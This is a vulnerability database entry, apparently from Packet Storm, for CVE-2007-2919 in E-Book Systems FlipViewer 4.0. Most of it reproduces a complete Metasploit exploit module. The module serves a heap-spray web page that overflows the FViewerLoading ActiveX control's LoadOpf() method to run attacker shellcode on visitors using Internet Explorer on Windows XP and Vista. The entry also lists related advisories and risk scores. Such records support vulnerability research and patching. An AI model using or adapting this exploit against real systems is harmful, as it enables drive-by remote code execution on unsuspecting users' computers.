FlipViewer FViewerLoading ActiveX Control Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by LSOType

packetstorm🔗 packetstormsecurity.com👁 39 Views

FlipViewer FViewerLoading ActiveX Control Buffer Overflow. Exploits stack overflow in FlipViewer 4.0 due to boundary error in FViewerLoading ActiveX control

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2007-2919	15 Jun 201000:00	–	circl
CVE	CVE-2007-2919	6 Jun 200722:00	–	cve
Cvelist	CVE-2007-2919	6 Jun 200722:00	–	cvelist
Exploit DB	FlipViewer FViewerLoading - ActiveX Control Buffer Overflow (Metasploit)	15 Jun 201000:00	–	exploitdb
Tenable Nessus	FlipViewer ActiveX Control < 4.1 Buffer Overflow Vulnerabilities	7 Jun 200700:00	–	nessus
Metasploit	FlipViewer FViewerLoading ActiveX Control Buffer Overflow	2 Mar 200923:14	–	metasploit
NVD	CVE-2007-2919	6 Jun 200722:30	–	nvd
Prion	Stack overflow	6 Jun 200722:30	–	prion
CERT	E-Book Systems FlipViewer ActiveX control stack buffer overflows	5 Jun 200700:00	–	cert

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FlipViewer FViewerLoading ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in E-BOOK Systems FlipViewer 4.0.   
The vulnerability is caused due to a boundary error in the   
FViewerLoading (FlipViewerX.dll) ActiveX control when handling the  
"LoadOpf()" method.  
},  
'License' => BSD_LICENSE,  
'Author' => [ 'LSO <[email protected]>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-2919' ],  
[ 'OSVDB', '37042' ],  
[ 'BID', '24328' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested ok patrickw 20090303  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ],  
],  
'DisclosureDate' => 'June 6 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
return if ((p = regenerate_payload(cli)) == nil)  
  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
nops = Rex::Text.to_unescape(make_nops(4))  
  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>   
<object classid='clsid:BA83FD38-CE14-4DA3-BEF5-96050D55F78A' id='#{vname}'></object>  
<script language='javascript'>  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{nops}');  
var #{rand3} = 20;  
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
var #{rand8} = "";  
for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }  
#{vname}.LoadOpf(#{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{rand8});   
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
send_response_html(cli, content)  
  
handler(cli)  
end  
  
end  
  
`

26 Nov 2009 00:00Current

0.8Low risk

Vulners AI Score0.8

EPSS0.76537

stack overflow flipviewer activex control buffer boundary error exploit